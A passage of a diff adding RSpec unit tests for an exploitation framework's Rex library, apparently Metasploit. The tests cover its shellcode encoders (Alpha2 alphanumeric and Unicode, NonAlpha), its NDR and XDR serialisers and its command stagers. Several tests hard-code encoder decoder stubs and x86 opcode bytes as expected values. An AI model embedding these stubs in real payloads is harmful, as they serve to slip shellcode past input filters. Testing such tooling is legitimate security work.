an Array" do + is_expected.to be_an Array + end + + it "returns the stub as first element" do + expect(subject[0]).to be_an String + end + + it "returns a register as second element" do + expect(subject[1]).to be_an String + end + + it "returns a register as third element" do + expect(subject[2]).to be_an Fixnum + end + end + + context "when too many badchars" do + let(:badchars) { (0x00..0xff).to_a.pack("C*") } + + it { is_expected.to be_nil } + end + end + +end diff --git a/spec/lib/rex/arch_spec.rb b/spec/lib/rex/arch_spec.rb new file mode 100644 index 0000000000..8f019df3f0 --- /dev/null +++ b/spec/lib/rex/arch_spec.rb @@ -0,0 +1,177 @@ +# -*- coding:binary -*- +require 'spec_helper' + +require 'rex/arch' + +describe Rex::Arch do + + describe ".adjust_stack_pointer" do + subject { described_class.adjust_stack_pointer(arch, adjustment) } + let(:adjustment) { 100 } + + context "when arch is ARCH_X86" do + let(:arch) { ARCH_X86 } + + it "emits an ESP adjustment instruction" do + is_expected.to be_a_kind_of(String) + end + end + + context "when arch isn't ARCH_X86" do + let(:arch) { ARCH_FIREFOX } + + it "returns nil" do + is_expected.to be_nil + end + end + + context "when arch is an array" do + let(:arch) { [ARCH_X86, ARCH_FIREFOX] } + + it "uses the first arch in the array" do + is_expected.to be_a_kind_of(String) + end + end + end + + describe ".pack_addr" do + subject { described_class.pack_addr(arch, addr) } + + context "when arch is ARCH_X86" do + let(:arch) { ARCH_X86 } + let(:addr) { 0x41424344 } + it "packs addr as 32-bit unsigned, little-endian" do + is_expected.to eq("DCBA") + end + end + + context "when arch is ARCH_X86_64" do + let(:arch) { ARCH_X86_64 } + let(:addr) { 0x4142434445464748 } + it "packs addr as 62-bit unsigned, little-endian" do + is_expected.to eq("HGFEDCBA") + end + end + + context "when arch is ARCH_X64" do + let(:arch) { ARCH_X64 } + let(:addr) { 0x4142434445464748 } + it "packs addr as 62-bit unsigned, little-endian" do + is_expected.to eq("HGFEDCBA") + end + end + + context "when arch is ARCH_MIPS" do + let(:arch) { ARCH_MIPS } + let(:addr) { 0x41424344 } + it "packs addr as 32-bit unsigned, big-endian" do + is_expected.to eq("ABCD") + end + end + + context "when arch is ARCH_MIPSBE" do + let(:arch) { ARCH_MIPSBE } + let(:addr) { 0x41424344 } + it "packs addr as 32-bit unsigned, big-endian" do + is_expected.to eq("ABCD") + end + end + + context "when arch is ARCH_MIPSLE" do + let(:arch) { ARCH_MIPSLE } + let(:addr) { 0x41424344 } + it "packs addr as 32-bit unsigned, little-endian" do + is_expected.to eq("DCBA") + end + end + + context "when arch is ARCH_PPC" do + let(:arch) { ARCH_PPC } + let(:addr) { 0x41424344 } + it "packs addr as 32-bit unsigned, big-endian" do + is_expected.to eq("ABCD") + end + end + + context "when arch is ARCH_SPARC" do + let(:arch) { ARCH_SPARC } + let(:addr) { 0x41424344 } + it "packs addr as 32-bit unsigned, big-endian" do + is_expected.to eq("ABCD") + end + end + + context "when arch is ARCH_ARMLE" do + let(:arch) { ARCH_ARMLE } + let(:addr) { 0x41424344 } + it "packs addr as 32-bit unsigned, little-endian" do + is_expected.to eq("DCBA") + end + end + + context "when arch is ARCH_ARMBE" do + let(:arch) { ARCH_ARMBE } + let(:addr) { 0x41424344 } + it "packs addr as 32-bit unsigned, big-endian" do + is_expected.to eq("ABCD") + end + end + + context "when arch is invalid" do + let(:arch) { ARCH_FIREFOX } + let(:addr) { 0x41424344 } + + it "packs addr as 32-bit unsigned, big-endian" do + is_expected.to be_nil + end + end + + context "when arch is an Array" do + let(:arch) { [ARCH_ARMLE, ARCH_ARMBE, ARCH_X86_64] } + let(:addr) { 0x41424344 } + it "packs addr using the first architecture in the array" do + is_expected.to eq("DCBA") + end + end + end + + describe ".endian" do + + let(:endianesses) do + { + ARCH_X86 => ENDIAN_LITTLE, + ARCH_X86_64 => ENDIAN_LITTLE, + ARCH_MIPS => ENDIAN_BIG, + ARCH_MIPSLE => ENDIAN_LITTLE, + ARCH_MIPSBE => ENDIAN_BIG, + ARCH_PPC => ENDIAN_BIG, + ARCH_SPARC => ENDIAN_BIG, + ARCH_ARMLE => ENDIAN_LITTLE, + ARCH_ARMBE => ENDIAN_BIG + } + end + subject { described_class.endian(arch) } + + context "when recognized arch" do + it "returns its endianess" do + endianesses.each_key do |arch| + expect(described_class.endian(arch)).to eq(endianesses[arch]) + end + end + end + + context "when not recognized arch" do + let(:arch) { ARCH_FIREFOX } + it "returns ENDIAN_LITTLE" do + is_expected.to eq(ENDIAN_LITTLE) + end + end + + context "when arch is an array" do + let(:arch) { [ARCH_X86, ARCH_MIPSBE] } + it "returns first arch endianess" do + is_expected.to eq(ENDIAN_LITTLE) + end + end + end +end diff --git a/spec/lib/rex/encoder/alpha2/alpha_mixed_spec.rb b/spec/lib/rex/encoder/alpha2/alpha_mixed_spec.rb new file mode 100644 index 0000000000..4f44000bc4 --- /dev/null +++ b/spec/lib/rex/encoder/alpha2/alpha_mixed_spec.rb @@ -0,0 +1,88 @@ +# -*- coding:binary -*- +require 'spec_helper' + +require 'rex/encoder/alpha2/alpha_mixed' + +describe Rex::Encoder::Alpha2::AlphaMixed do + + it_behaves_like 'Rex::Encoder::Alpha2::Generic' + + let(:decoder_stub) do + "jAXP0A0AkAAQ2AB2BB0BBABXP8ABuJI" + end + + let(:reg_signature) do + { + 'EAX' => 'PY', + 'ECX' => 'I', + 'EDX' => '7RY', + 'EBX' => 'SY', + 'ESP' => 'TY', + 'EBP' => 'UY', + 'ESI' => 'VY', + 'EDI' => 'WY' + } + end + + describe ".gen_decoder_prefix" do + subject(:decoder_prefix) { described_class.gen_decoder_prefix(reg, offset) } + let(:reg) { 'ECX' } + let(:offset) { 5 } + + it "returns decoder prefix" do + is_expected.to include(reg_signature[reg]) + end + + context "when invalid reg name" do + let(:reg) { 'NON EXISTENT' } + let(:offset) { 0 } + + it "raises an error" do + expect { decoder_prefix }.to raise_error(ArgumentError) + end + end + + context "when offset is bigger than 32" do + let(:reg) { 'ECX' } + let(:offset) { 33 } + + it "raises an error" do + expect { decoder_prefix }.to raise_error + end + end + end + + + describe ".gen_decoder" do + subject(:decoder) { described_class.gen_decoder(reg, offset) } + let(:reg) { 'ECX' } + let(:offset) { 5 } + + it "returns the alpha upper decoder" do + is_expected.to include(decoder_stub) + end + + it "uses the correct decoder prefix" do + is_expected.to include(reg_signature[reg]) + end + + context "when invalid reg name" do + let(:reg) { 'NON EXISTENT' } + let(:offset) { 0 } + + it "raises an error" do + expect { decoder }.to raise_error(ArgumentError) + end + end + + context "when offset is bigger than 32" do + let(:reg) { 'ECX' } + let(:offset) { 33 } + + it "raises an error" do + expect { decoder }.to raise_error + end + end + end + +end diff --git a/spec/lib/rex/encoder/alpha2/alpha_upper_spec.rb b/spec/lib/rex/encoder/alpha2/alpha_upper_spec.rb new file mode 100644 index 0000000000..41a63780ef --- /dev/null +++ b/spec/lib/rex/encoder/alpha2/alpha_upper_spec.rb @@ -0,0 +1,94 @@ +# -*- coding:binary -*- +require 'spec_helper' + +require 'rex/encoder/alpha2/alpha_upper' + +describe Rex::Encoder::Alpha2::AlphaUpper do + + it_behaves_like 'Rex::Encoder::Alpha2::Generic' + + let(:decoder_stub) do + "VTX30VX4AP0A3HH0A00ABAABTAAQ2AB2BB0BBXP8ACJJI" + end + + let(:reg_signature) do + { + 'EAX' => 'PY', + 'ECX' => 'I', + 'EDX' => 'RY', + 'EBX' => 'SY', + 'ESP' => 'TY', + 'EBP' => 'UY', + 'ESI' => 'VY', + 'EDI' => 'WY' + } + end + + describe ".default_accepted_chars" do + subject { described_class.default_accepted_chars } + + it { is_expected.to eq(('B' .. 'Z').to_a + ('0' .. '9').to_a) } + end + + describe ".gen_decoder_prefix" do + subject(:decoder_prefix) { described_class.gen_decoder_prefix(reg, offset) } + let(:reg) { 'ECX' } + let(:offset) { 5 } + + it "returns decoder prefix" do + is_expected.to include(reg_signature[reg]) + end + + context "when invalid reg name" do + let(:reg) { 'NON EXISTENT' } + let(:offset) { 0 } + + it "raises an error" do + expect { decoder_prefix }.to raise_error(ArgumentError) + end + end + + context "when offset is bigger than 20" do + let(:reg) { 'ECX' } + let(:offset) { 25 } + + it "raises an error" do + expect { decoder_prefix }.to raise_error + end + end + end + + + describe ".gen_decoder" do + subject(:decoder) { described_class.gen_decoder(reg, offset) } + let(:reg) { 'ECX' } + let(:offset) { 5 } + + it "returns the alpha upper decoder" do + is_expected.to include(decoder_stub) + end + + it "uses the correct decoder prefix" do + is_expected.to include(reg_signature[reg]) + end + + context "when invalid reg name" do + let(:reg) { 'NON EXISTENT' } + let(:offset) { 0 } + + it "raises an error" do + expect { decoder }.to raise_error(ArgumentError) + end + end + + context "when offset is bigger than 20" do + let(:reg) { 'ECX' } + let(:offset) { 25 } + + it "raises an error" do + expect { decoder }.to raise_error + end + end + end + +end diff --git a/spec/lib/rex/encoder/alpha2/generic_spec.rb b/spec/lib/rex/encoder/alpha2/generic_spec.rb new file mode 100644 index 0000000000..60e24472ef --- /dev/null +++ b/spec/lib/rex/encoder/alpha2/generic_spec.rb @@ -0,0 +1,42 @@ +# -*- coding:binary -*- +require 'spec_helper' + +require 'rex/encoder/alpha2/generic' + +describe Rex::Encoder::Alpha2::Generic do + + it_behaves_like 'Rex::Encoder::Alpha2::Generic' + + describe ".default_accepted_chars" do + subject(:accepted_chars) { described_class.default_accepted_chars } + + it { is_expected.to eq(('a' .. 'z').to_a + ('B' .. 'Z').to_a + ('0' .. '9').to_a) } + end + + describe ".gen_decoder_prefix" do + subject(:decoder_prefix) { described_class.gen_decoder_prefix(reg, offset) } + let(:reg) { 'ECX' } + let(:offset) { 0 } + + it { is_expected.to eq('') } + end + + describe ".gen_decoder" do + subject(:decoder) { described_class.gen_decoder(reg, offset) } + let(:reg) { 'ECX' } + let(:offset) { 0 } + + it { is_expected.to eq('') } + end + + describe ".gen_second" do + subject(:second) { described_class.gen_second(block, base) } + let(:block) { 0xaf } + let(:base) { 0xfa } + + it "returns block ^ base" do + expect(second ^ base).to eq(block) + end + end + +end diff --git a/spec/lib/rex/encoder/alpha2/unicode_mixed_spec.rb b/spec/lib/rex/encoder/alpha2/unicode_mixed_spec.rb new file mode 100644 index 0000000000..9ace965dd5 --- /dev/null +++ b/spec/lib/rex/encoder/alpha2/unicode_mixed_spec.rb @@ -0,0 +1,88 @@ +# -*- coding:binary -*- +require 'spec_helper' + +require 'rex/encoder/alpha2/unicode_mixed' + +describe Rex::Encoder::Alpha2::UnicodeMixed do + + it_behaves_like 'Rex::Encoder::Alpha2::Generic' + + let(:decoder_stub) do + "jXAQADAZABARALAYAIAQAIAQAIAhAAAZ1AIAIAJ11AIAIABABABQI1AIQIAIQI111AIAJQYAZBABABABABkMAGB9u4JB" + end + + let(:reg_signature) do + { + 'EAX' => 'PPYA', + 'ECX' => '4444', + 'EDX' => 'RRYA', + 'EBX' => 'SSYA', + 'ESP' => 'TUYA', + 'EBP' => 'UUYAs', + 'ESI' => 'VVYA', + 'EDI' => 'WWYA' + } + end + + describe ".gen_decoder_prefix" do + subject(:decoder_prefix) { described_class.gen_decoder_prefix(reg, offset) } + let(:reg) { 'ECX' } + let(:offset) { 5 } + + it "returns decoder prefix" do + is_expected.to include(reg_signature[reg]) + end + + context "when invalid reg name" do + let(:reg) { 'NON EXISTENT' } + let(:offset) { 0 } + + it "raises an error" do + expect { decoder_prefix }.to raise_error(RuntimeError) + end + end + + context "when offset is bigger than 21" do + let(:reg) { 'ECX' } + let(:offset) { 22 } + + it "raises an error" do + expect { decoder_prefix }.to raise_error + end + end + end + + + describe ".gen_decoder" do + subject(:decoder) { described_class.gen_decoder(reg, offset) } + let(:reg) { 'ECX' } + let(:offset) { 5 } + + it "returns the alpha upper decoder" do + is_expected.to include(decoder_stub) + end + + it "uses the correct decoder prefix" do + is_expected.to include(reg_signature[reg]) + end + + context "when invalid reg name" do + let(:reg) { 'NON EXISTENT' } + let(:offset) { 0 } + + it "raises an error" do + expect { decoder }.to raise_error(RuntimeError) + end + end + + context "when offset is bigger than 21" do + let(:reg) { 'ECX' } + let(:offset) { 22 } + + it "raises an error" do + expect { decoder }.to raise_error + end + end + end + +end diff --git a/spec/lib/rex/encoder/alpha2/unicode_upper_spec.rb b/spec/lib/rex/encoder/alpha2/unicode_upper_spec.rb new file mode 100644 index 0000000000..29f80b7ee7 --- /dev/null +++ b/spec/lib/rex/encoder/alpha2/unicode_upper_spec.rb @@ -0,0 +1,94 @@ +# -*- coding:binary -*- +require 'spec_helper' + +require 'rex/encoder/alpha2/unicode_upper' + +describe Rex::Encoder::Alpha2::UnicodeUpper do + + it_behaves_like 'Rex::Encoder::Alpha2::Generic' + + let(:decoder_stub) do + "QATAXAZAPU3QADAZABARALAYAIAQAIAQAPA5AAAPAZ1AI1AIAIAJ11AIAIAXA58AAPAZABABQI1AIQIAIQI1111AIAJQI1AYAZBABABABAB30APB944JB" + end + + let(:reg_signature) do + { + 'EAX' => 'PPYA', + 'ECX' => '4444', + 'EDX' => 'RRYA', + 'EBX' => 'SSYA', + 'ESP' => 'TUYA', + 'EBP' => 'UUYA', + 'ESI' => 'VVYA', + 'EDI' => 'WWYA' + } + end + + describe ".default_accepted_chars" do + subject(:accepted_chars) { described_class.default_accepted_chars } + + it { is_expected.to eq(('B' .. 'Z').to_a + ('0' .. '9').to_a) } + end + + describe ".gen_decoder_prefix" do + subject(:decoder_prefix) { described_class.gen_decoder_prefix(reg, offset) } + let(:reg) { 'ECX' } + let(:offset) { 5 } + + it "returns decoder prefix" do + is_expected.to include(reg_signature[reg]) + end + + context "when invalid reg name" do + let(:reg) { 'NON EXISTENT' } + let(:offset) { 0 } + + it "raises an error" do + expect(decoder_prefix).to be_nil + end + end + + context "when offset is bigger than 6" do + let(:reg) { 'ECX' } + let(:offset) { 7 } + + it "raises an error" do + expect { decoder_prefix }.to raise_error(RuntimeError) + end + end + end + + + describe ".gen_decoder" do + subject(:decoder) { described_class.gen_decoder(reg, offset) } + let(:reg) { 'ECX' } + let(:offset) { 5 } + + it "returns the alpha upper decoder" do + is_expected.to include(decoder_stub) + end + + it "uses the correct decoder prefix" do + is_expected.to include(reg_signature[reg]) + end + + context "when invalid reg name" do + let(:reg) { 'NON EXISTENT' } + let(:offset) { 0 } + + it "raises an error" do + expect { decoder }.to raise_error(NoMethodError) + end + end + + context "when offset is bigger than 6" do + let(:reg) { 'ECX' } + let(:offset) { 7 } + + it "raises an error" do + expect { decoder }.to raise_error(RuntimeError) + end + end + end + +end diff --git a/spec/lib/rex/encoder/ndr_spec.rb b/spec/lib/rex/encoder/ndr_spec.rb new file mode 100644 index 0000000000..57a1f60829 --- /dev/null +++ b/spec/lib/rex/encoder/ndr_spec.rb @@ -0,0 +1,169 @@ +# -*- coding:binary -*- +require 'spec_helper' + +require 'rex/encoder/ndr' + +describe Rex::Encoder::NDR do + + describe ".align" do + subject { described_class.align(string) } + + context "when empty string argument" do + let(:string) { "" } + it { is_expected.to eq("") } + end + + context "when 32bit aligned length argument" do + let(:string) { "A" * 4 } + it { is_expected.to eq("") } + end + + context "when 32bit unaligned length argument" do + let(:string) { "A" * 5 } + it "returns the padding, as null bytes, necessary to 32bit align the argument" do + is_expected.to eq("\x00\x00\x00") + end + end + end + + describe ".long" do + subject { described_class.long(string) } + let(:string) { 0x41424344 } + + it "encodes the arguments as 32-bit little-endian unsigned integer" do + is_expected.to eq("\x44\x43\x42\x41") + end + + context "when argument bigger than 32-bit unsigned integer" do + let(:string) { 0x4142434445 } + it "truncates the argument" do + is_expected.to eq("\x45\x44\x43\x42") + end + end + end + + describe ".short" do + subject { described_class.short(string) } + let(:string) { 0x4142 } + + it "encodes the arguments as 16-bit little-endian unsigned integer" do + is_expected.to eq("\x42\x41") + end + + context "when argument bigger than 16-bit unsigned integer" do + let(:string) { 0x41424344 } + it "truncates the argument" do + is_expected.to eq("\x44\x43") + end + end + + end + + describe ".byte" do + subject { described_class.byte(string) } + let(:string) { 0x41 } + + it "encodes the arguments as 8-bit unsigned integer" do + is_expected.to eq("\x41") + end + + context "when argument bigger than 8-bit unsigned integer" do + let(:string) { 0x4142 } + it "truncates the argument" do + is_expected.to eq("\x42") + end + end + + end + + describe ".UniConformantArray" do + subject { described_class.UniConformantArray(string) } + let(:string) { "ABCDE" } + + it "returns the encoded string" do + is_expected.to be_kind_of(String) + end + + it "starts encoding the string length as 32-bit little-endian unsigned integer" do + expect(subject.unpack("V").first).to eq(string.length) + end + + it "adds the string argument" do + is_expected.to include(string) + end + + it "ends with padding to make result length 32-bits aligned" do + is_expected.to end_with("\x00" * 3) + end + end + + describe ".string" do + subject { described_class.string(string) } + let(:string) { "ABCD" } + + it "returns the encoded string" do + is_expected.to be_kind_of(String) + expect(subject.length).to eq(20) + end + + it "starts encoding string metadata" do + expect(subject.unpack("VVV")[0]).to eq(string.length) + expect(subject.unpack("VVV")[1]).to eq(0) + expect(subject.unpack("VVV")[2]).to eq(string.length) + end + + it "adds the string argument null-byte terminated" do + is_expected.to include("ABCD\x00") + end + + it "ends with padding to make result length 32-bits aligned" do + is_expected.to end_with("\x00" * 3) + end + end + + describe ".wstring" do + subject { described_class.wstring(string) } + + it_behaves_like "Rex::Encoder::NDR.wstring" + end + + describe ".UnicodeConformantVaryingString" do + subject { described_class.UnicodeConformantVaryingString(string) } + + it_behaves_like "Rex::Encoder::NDR.wstring" + end + + describe ".uwstring" do + subject { described_class.uwstring(string) } + + let(:string) { "ABCD" } + + it "encodes the argument as null-terminated unicode string" do + is_expected.to include("A\x00B\x00C\x00D\x00\x00\x00") + end + + it "starts encoding string metadata" do + expect(subject.unpack("VVVV")[1]).to eq(string.length + 1) + expect(subject.unpack("VVVV")[2]).to eq(0) + expect(subject.unpack("VVVV")[3]).to eq(string.length + 1) + end + + it "ends with padding to make result length 32-bits aligned" do + is_expected.to end_with("\x00" * 2) + expect(subject.length).to eq(28) + end + end + + describe ".wstring_prebuilt" do + subject { described_class.wstring_prebuilt(string) } + + it_behaves_like "Rex::Encoder::NDR.wstring_prebuild" + end + + describe ".UnicodeConformantVaryingStringPreBuilt" do + subject { described_class.UnicodeConformantVaryingStringPreBuilt(string) } + + it_behaves_like "Rex::Encoder::NDR.wstring_prebuild" + end + +end diff --git a/spec/lib/rex/encoder/nonalpha_spec.rb b/spec/lib/rex/encoder/nonalpha_spec.rb new file mode 100644 index 0000000000..189ad049f0 --- /dev/null +++ b/spec/lib/rex/encoder/nonalpha_spec.rb @@ -0,0 +1,142 @@ +# -*- coding:binary -*- +require 'spec_helper' + +require 'rex/encoder/nonalpha' + +describe Rex::Encoder::NonAlpha do + + let(:decoder) do + dec = "\x66\xB9\xFF\xFF" + + "\xEB\x19" + + "\\\x5E" + + "\x8B\xFE" + + "\x83\xC7" + "." + + "\x8B\xD7" + + "\x3B\xF2" + + "\\\x7D\x0B" + + "\xB0\\\x7B" + + "\xF2\xAE" + + "\xFF\xCF" + + "\xAC" + + "\\\x28\x07" + + "\xEB\xF1" + + "\xEB" + "." + + "\xE8\xE2\xFF\xFF\xFF" + Regexp.new(dec) + end + + describe ".gen_decoder" do + subject { described_class.gen_decoder } + + it "returns an String" do + is_expected.to be_kind_of(String) + end + + it "returns the decoder code" do + is_expected.to match(decoder) + end + end + + describe ".encode_byte" do + subject { described_class.encode_byte(block, table, tablelen) } + + context "when tablelen > 255" do + let(:block) { 0x20 } + let(:table) { "" } + let(:tablelen) { 256 } + + it "raises an error" do + expect { subject }.to raise_error(RuntimeError) + end + end + + context "when block == 0x7b" do + let(:block) { 0x7b } + let(:table) { "" } + let(:tablelen) { 0 } + + it "raises an error" do + expect { subject }.to raise_error(RuntimeError) + end + end + + context "when block is an upcase letter char code" do + let(:block) { 0x42 } + let(:table) { "" } + let(:tablelen) { 0 } + + it "returns an Array" do + is_expected.to be_kind_of(Array) + end + + it "returns a 3 fields Array" do + expect(subject.length).to eq(3) + end + + it "returns '{' char as block" do + expect(subject[0]).to eq('{') + end + + it "appends offset to table" do + expect(subject[1]).to eq((0x7b - block).chr) + end + + it "increments tablelen" do + expect(subject[2]).to eq(tablelen + 1) + end + end + + context "when block is a downcase letter char code" do + let(:block) { 0x62 } + let(:table) { "" } + let(:tablelen) { 0 } + + it "returns an Array" do + is_expected.to be_kind_of(Array) + end + + it "returns a 3 fields Array" do + expect(subject.length).to eq(3) + end + + it "returns '{' char as block" do + expect(subject[0]).to eq('{') + end + + it "appends offset to table" do + expect(subject[1]).to eq((0x7b - block).chr) + end + + it "increments tablelen" do + expect(subject[2]).to eq(tablelen + 1) + end + end + + context "when block is another char code" do + let(:block) { 0x7c } + let(:table) { "" } + let(:tablelen) { 0 } + + it "returns an Array" do + is_expected.to be_kind_of(Array) + end + + it "returns a 3 fields Array" do + expect(subject.length).to eq(3) + end + + it "returns same block char code" do + expect(subject[0]).to eq(block.chr) + end + + it "doesn't modify table" do + expect(subject[1]).to eq(table) + end + + it "doesn't modify tablelen" do + expect(subject[2]).to eq(tablelen) + end + end + end + +end diff --git a/spec/lib/rex/encoder/xdr_spec.rb b/spec/lib/rex/encoder/xdr_spec.rb new file mode 100644 index 0000000000..348a9a02b3 --- /dev/null +++ b/spec/lib/rex/encoder/xdr_spec.rb @@ -0,0 +1,279 @@ +# -*- coding:binary -*- +require 'spec_helper' + +require 'rex/encoder/xdr' + +describe Rex::Encoder::XDR do + + describe ".encode_int" do + subject(:encoded_int) { described_class.encode_int(int) } + let(:int) { 0x41424344 } + + it "returns an String" do + is_expected.to be_kind_of(String) + end + + it "encodes big endian 32 bit usigned integer" do + is_expected.to eq("\x41\x42\x43\x44") + end + end + + describe ".decode_int!" do + subject(:decoded_int) { described_class.decode_int!(data) } + + context "when data is nil" do + let(:data) { nil } + it "raises an error" do + expect { decoded_int }.to raise_error(ArgumentError) + end + end + + context "when data is empty" do + let(:data) { '' } + + it "raises an error" do + expect { decoded_int }.to raise_error(ArgumentError) + end + end + + context "when data is 1-4 bytes length" do + let(:data) { "\x41\x42\x43\x44" } + + it "unpacks big endian 32bit unsigned int" do + is_expected.to eq(0x41424344) + end + end + + context "when data is bigger than 4 bytes" do + let(:data) { "\x41\x42\x43\x44\x45" } + + it "unpacks just one big endian 32bit unsigned int" do + is_expected.to eq(0x41424344) + end + end + end + + describe ".encode_lchar" do + subject(:encoded_lchar) { described_class.encode_lchar(char) } + + context "when char & 0x80 == 0" do + let(:char) { 0x80 } + + it "encodes char byte as integer with sign extended" do + is_expected.to eq("\xff\xff\xff\x80") + end + end + + context "when char & 0x80 != 0" do + let(:char) { 0x41 } + + it "encodes char byte as integer" do + is_expected.to eq("\x00\x00\x00\x41") + end + end + end + + describe ".decode_lchar!" do + subject(:decoded_lchar) { described_class.decode_lchar!(data) } + + context "when data's length is equal or greater than 4" do + let(:data) { "\x41\x42\x43\x44" } + + it "returns char code for last byte" do + is_expected.to eq("D") + end + end + + context "when data's length is less than 4" do + let(:data) { "\x41" } + + it "raises an error" do + expect { decoded_lchar }.to raise_error(ArgumentError) + end + end + end + + describe ".encode_string" do + subject(:encoded_string) { described_class.encode_string(str, max) } + + context "when data is bigger than max" do + let(:str) { "ABCDE" } + let(:max) { 4 } + + it "raises an error" do + expect { encoded_string }.to raise_error(ArgumentError) + end + end + + context "when data is shorter or equal to max" do + let(:str) { "ABCDE" } + let(:max) { 5 } + + it "returns an String" do + is_expected.to be_kind_of(String) + end + + it "prefix encoded length" do + is_expected.to start_with("\x00\x00\x00\x05") + end + + it "returns the encoded string padded with zeros" do + is_expected.to eq("\x00\x00\x00\x05ABCDE\x00\x00\x00") + end + end + end + + describe ".decode_string!" do + subject(:decoded_string) { described_class.decode_string!(data) } + + context "when encoded string length is 0" do + let(:data) { "\x00\x00\x00\x00" } + + it "returns empty string" do + is_expected.to eq("") + end + end + + context "when string contains padding" do + let(:data) {"\x00\x00\x00\x03ABC00000"} + + it "returns string without padding" do + is_expected.to eq("ABC") + end + end + + context "when fake length" do + context "and no string" do + let(:data) { "\x00\x00\x00\x03" } + + it "returns empty string" do + is_expected.to eq("") + end + end + + context "longer than real string length" do + let(:data) { "\x00\x00\x00\x08ABCD" } + + it "returns available string" do + is_expected.to eq("ABCD") + end + end + end + end + + describe ".encode_varray" do + subject(:encoded_varray) { described_class.encode_varray(arr, max) } + + context "when arr length is bigger than max" do + let(:arr) { [1, 2, 3] } + let(:max) { 2 } + it "raises an error" do + expect { encoded_varray }.to raise_error(ArgumentError) + end + end + + context "when arr length is minor or equal than max" do + let(:arr) { [0x41414141, 0x42424242, 0x43434343] } + let(:max) { 3 } + + it "returns an String" do + expect(described_class.encode_varray(arr, max) { |i| described_class.encode_int(i) }).to be_kind_of(String) + end + + it "prefixes encoded length" do + expect(described_class.encode_varray(arr, max) { |i| described_class.encode_int(i) }).to start_with("\x00\x00\x00\x03") + end + + it "returns the encoded array" do + expect(described_class.encode_varray(arr, max) { |i| described_class.encode_int(i) }).to eq("\x00\x00\x00\x03\x41\x41\x41\x41\x42\x42\x42\x42\x43\x43\x43\x43") + end + end + end + + describe ".decode_varray!" do + subject(:decoded_varray) { described_class.decode_varray!(data) } + + context "when encoded length is 0" do + let(:data) { "\x00\x00\x00\x00" } + + it "returns an empty array" do + is_expected.to eq([]) + end + end + + context "when fake encoded length" do + context "and no values" do + let(:data) { "\x00\x00\x00\x02" } + + it "raises an error" do + expect { described_class.decode_varray!(data) { |s| described_class.decode_int!(s) } }.to raise_error(ArgumentError) + end + end + + context "longer than available values" do + let(:data) { "\x00\x00\x00\x02\x00\x00\x00\x41" } + + it "raises an error" do + expect { described_class.decode_varray!(data) { |s| described_class.decode_int!(s) } }.to raise_error(ArgumentError) + end + end + end + + context "when valid encoded data" do + let(:data) { "\x00\x00\x00\x02\x41\x42\x43\x44\x00\x00\x00\x11"} + it "retuns Array with decoded values" do + expect(described_class.decode_varray!(data) { |s| described_class.decode_int!(s) }).to eq([0x41424344, 0x11]) + end + end + end + + describe ".encode" do + it "encodes integers" do + expect(described_class.encode(1)).to eq("\x00\x00\x00\x01") + end + + it "encodes arrays" do + expect(described_class.encode([0x41414141, 0x42424242])).to eq("\x00\x00\x00\x02\x41\x41\x41\x41\x42\x42\x42\x42") + end + + it "encodes strings" do + expect(described_class.encode("ABCD")).to eq("\x00\x00\x00\x04\x41\x42\x43\x44") + end + + it "encodes mixed type of elements" do + expect(described_class.encode(1, [0x41414141], "ABCD")).to eq("\x00\x00\x00\x01\x00\x00\x00\x01\x41\x41\x41\x41\x00\x00\x00\x04\x41\x42\x43\x44") + end + end + + describe ".decode!" do + + context "when no type arguments" do + it "retuns empty Array" do + expect(described_class.decode!("\x41\x41\x41\x41")).to eq([]) + end + end + + context "when not enough data" do + it "retuns Array filled with nils" do + expect(described_class.decode!("", Array)).to eq([nil]) + end + end + + it "decodes integers" do + expect(described_class.decode!("\x41\x41\x41\x41", Integer)).to eq([0x41414141]) + end + + it "decodes arrays" do + expect(described_class.decode!("\x00\x00\x00\x01\x41\x41\x41\x41", [Integer])).to eq([[0x41414141]]) + end + + it "decodes strings" do + expect(described_class.decode!("\x00\x00\x00\x01\x41", String)).to eq(["A"]) + end + + it "decodes mixed elements" do + expect(described_class.decode!("\x41\x41\x41\x41\x00\x00\x00\x01\x41\x00\x00\x00\x00\x00\x00\x01\x42\x42\x42\x42", Integer, String, [Integer])).to eq([0x41414141, "A", [0x42424242]]) + end + end + +end diff --git a/spec/lib/rex/exploitation/cmdstager/base_spec.rb b/spec/lib/rex/exploitation/cmdstager/base_spec.rb new file mode 100644 index 0000000000..7667ce19b9 --- /dev/null +++ b/spec/lib/rex/exploitation/cmdstager/base_spec.rb @@ -0,0 +1,26 @@ +# -*- coding:binary -*- +require 'spec_helper' + +require 'rex/exploitation/cmdstager' + +describe Rex::Exploitation::CmdStagerBase do + + let(:exe) { "MZ" } + + subject(:cmd_stager) do + described_class.new(exe) + end + + describe '#cmd_concat_operator' do + it "returns nil" do + expect(cmd_stager.cmd_concat_operator).to be_nil + end + end + + describe '#generate' do + it "returns an empty array" do + expect(cmd_stager.generate).to eq([]) + end + end + +end diff --git a/spec/lib/rex/exploitation/cmdstager/bourne_spec.rb b/spec/lib/rex/exploitation/cmdstager/bourne_spec.rb new file mode 100644 index 0000000000..0a072db8a9 --- /dev/null +++ b/spec/lib/rex/exploitation/cmdstager/bourne_spec.rb @@ -0,0 +1,29 @@ +# -*- coding:binary -*- +require 'spec_helper' + +require 'rex/exploitation/cmdstager' + +describe Rex::Exploitation::CmdStagerBourne do + + let(:exe) { "MZ" } + + subject(:cmd_stager) do + described_class.new(exe) + end + + describe '#cmd_concat_operator' do + it "returns ;" do + expect(cmd_stager.cmd_concat_operator).to eq(" ; ") + end + end + + describe '#generate' do + it "returns an array of commands" do + result = cmd_stager.generate + + expect(result).to be_kind_of(Array) + expect(result).to_not be_empty + end + end + +end diff --git a/spec/lib/rex/exploitation/cmdstager/debug_asm_spec.rb b/spec/lib/rex/exploitation/cmdstager/debug_asm_spec.rb new file mode 100644 index 0000000000..06d53c477e --- /dev/null +++ b/spec/lib/rex/exploitation/cmdstager/debug_asm_spec.rb @@ -0,0 +1,35 @@ +# -*- coding:binary -*- +require 'spec_helper' + +require 'rex/exploitation/cmdstager' + +describe Rex::Exploitation::CmdStagerDebugAsm do + + let(:exe) { "MZ" } + + subject(:cmd_stager) do + described_class.new(exe) + end + + describe '#cmd_concat_operator' do + it "returns &" do + expect(cmd_stager.cmd_concat_operator).to eq(" & ") + end + end + + describe '#generate' do + let(:opts) do + { + :decoder => File.join(Msf::Config.data_directory, "exploits", "cmdstager", "debug_asm") + } + end + + it "returns an array of commands" do + result = cmd_stager.generate(opts) + + expect(result).to be_kind_of(Array) + expect(result).to_not be_empty + end + end + +end diff --git a/spec/lib/rex/exploitation/cmdstager/debug_write_spec.rb 